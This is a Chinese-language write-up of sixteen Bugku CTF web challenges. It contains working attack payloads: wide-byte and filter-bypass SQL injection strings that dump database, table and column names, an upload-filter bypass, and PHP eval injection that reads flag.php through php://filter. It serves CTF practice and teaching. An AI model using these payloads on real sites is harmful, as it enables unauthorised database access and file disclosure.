Bugku CTF Web(1-16) writeup

Bugku CTF Web(1-16) writeup

0x01.web2

這裏寫圖片描述
右鍵查看元素,flag在<body>的註釋中。

0x02.文件上傳測試

這裏寫圖片描述
上傳PHP文件才能得到flag,但是隻允許上傳圖片。
方法一:可以先上傳圖片文件,利用burp抓包,更改文件擴展名爲php,即可得到flag。
方法二:%00截斷,先上傳圖片文件,利用burp抓包,在文件名後面添加“%00.php”,發送,得到flag。

0x03.計算器

這裏寫圖片描述
右鍵查看元素,發現表單輸入有限制輸入長度,雙擊修改maxlength再提交計算結果就得到flag。

0x04.web基礎$_GET

這裏寫圖片描述
通過get方法傳入參數使“what”的值等於flag。
payload:?what=flag

0x05.web基礎$_POST

這裏寫圖片描述
通過post方法傳入參數使“what”的值等於flag。
payload:POST:what=flag

0x06.矛盾

這裏寫圖片描述
題目要求:既要num的值爲不是數字,又要num=1。
is_numeric(var)當變量是數字或數字字符串時返回true。
傳入一個1+字母的字符串,可以使is_numeric()返回false,進而進行弱類型轉換,使num==1,得到flag。
payload:?num=1a

0x07.web3

打開鏈接後發現不斷的彈窗。
禁止彈窗後,查看源碼,發現<script>註釋裏有一串unicode編碼,解碼即得到flag。
這裏寫圖片描述

0x08.sql注入

這裏寫圖片描述
先嚐試單引號,發現返回正常,
查看源碼,發現文字編碼是gb2312,存在寬字節注入。
測試:?id=1%df%27 and 1=1–+
?id=1%df%27 and 1=2–+
不加註釋則報錯,加註釋返回正常。
判斷字段數:?id=1%df%27 order by 2–+
判斷回顯點:?id=-1%df%27 union select 1,2–+
這裏寫圖片描述
查詢數據庫名:?id=-1%df%27 union select 1,database()–+
這裏寫圖片描述
查詢表名:?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35–+
這裏寫圖片描述
查詢字段名:?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579–+
這裏寫圖片描述
查詢string字段得到flag:?id=-1%df%27 union select 1,string from sql5.key–+
這裏寫圖片描述

0x09域名解析

這裏寫圖片描述
域名解析:把域名指向網站空間IP,讓人們通過註冊的域名可以方便地訪問到網站的一種服務。域名解析就是域名到IP地址的轉換過程。域名的解析工作由DNS服務器完成。
Windows下域名解析:
修改文件C:\windows\system32\drivers\etc\hosts
Windows10沒有修改hosts文件權限的解決方案
這裏寫圖片描述
在裏面添加一條:120.24.86.145 flag.bugku.com保存,
再訪問此域名,得到flag。
在Linux下域名解析:
用命令打開hosts文件:sudo gedit /etc/hosts
這裏寫圖片描述
遇到權限不夠的情況時升級爲root用戶,
添加120.24.86.145 flag.bugku.com,保存。
再用瀏覽器打開flag.bugku.com。

0x10SQL注入1

這裏寫圖片描述
函數substr_count()計算子串在字符串中出現的次數。
strip_tags()剝去字符串中的 HTML、XML 以及 PHP 的標籤。
法一:因爲有strip_tags()函數,可以在payload中嵌套HTML標籤來繞過。
測試:數字型參數,id不需要引號閉合,?id=1–+
payload:
?id=-1 uni<>on sel<>ect 1,database()
?id=-1 uni<>on sel<>ect 1,hash fr<>om sql3.key

法二:利用%00截斷
payload:
?id=-1 uni%00on sel%00ect 1,database()
?id=-1 uni%00on sel%00ect 1,hash fr%00om sql3.key

0x11你必須讓他停下

這裏寫圖片描述這裏寫圖片描述
reload() 方法用於重新加載當前文檔。
setTimeout() 方法用於在指定的毫秒數後調用函數或計算表達式。
Burp抓包,發送到Repeater,然後不停的“go”,直到在Response中看到flag。

0x12本地包含

這裏寫圖片描述
函數eval()把字符串按照PHP代碼執行,
var_dump()打印變量的相關信息,
show_source()對文件進行語法高亮顯示。
通過構造hello參數傳遞給變量a,進而進行代碼執行。
payload:
?hello=);print_r(file("flag.php")
?hello=);var_dump(file("flag.php")
?hello=file("flag.php")
?hello=);show_source("flag.php");var_dump(
?hello=);include(@$_POST['b'] 在POST裏: b=php://filter/convert.base64-encode/resource=flag.php
?hello=);include("php://filter/convert.base64-encode/resource=flag.php"

0x13變量1

這裏寫圖片描述
函數
highlight_file() 函數對文件進行語法高亮顯示,
preg_match()執行一個正則表達式匹配,其中[\w]表示匹配包括下劃線的任何單詞字符,類似但不等價於“[A-Za-z0-9_]”,這裏的”單詞”字符使用Unicode字符集;同時匹配“+”。
可變變量:$$args表示變量args的值再作爲變量名。
題目提示flag在變量裏,所以使用$GLOBALS數組。
payload:?args=GLOBALS

0x14web5

題目提示JSPFUCK,則與jsfuck有關。
jsfuck:合法的javascript代碼,可在大部分瀏覽器上執行,用來繞過關鍵詞檢測。
打開源碼發現(截圖爲局部)
這裏寫圖片描述
將這一串編碼複製,放到控制檯執行,得到flag。

0x15頭等艙

各個地方都沒有找到什麼,那麼根據題目提示,猜測http頭可能有什麼。
抓包,send to Repeater在響應頭裏發現flag。
這裏寫圖片描述

0x16web4

題目提示查看源碼,發現源碼<script>標籤裏有URL編碼,
p1解碼爲

function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b

p2解碼爲

aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

最後的eval(unescape(p1) + unescape(‘%35%34%61%61%32’ + p2));解碼爲

eval(unescape(p1) + unescape('54aa2' + p2));

根據eval()執行代碼塊的意思拼接出:

function checkSubmit(){
var a=document.getElementById("password");
//getElementById根據指定的 id 屬性值得到對象
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
//onsubmit 事件會在表單中的確認按鈕被點擊時發生

判斷變量a的值是否等於67d709b2b54aa2aa648cf6e87a7114f1
好像直接輸入字符串提交就可以得到flag。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章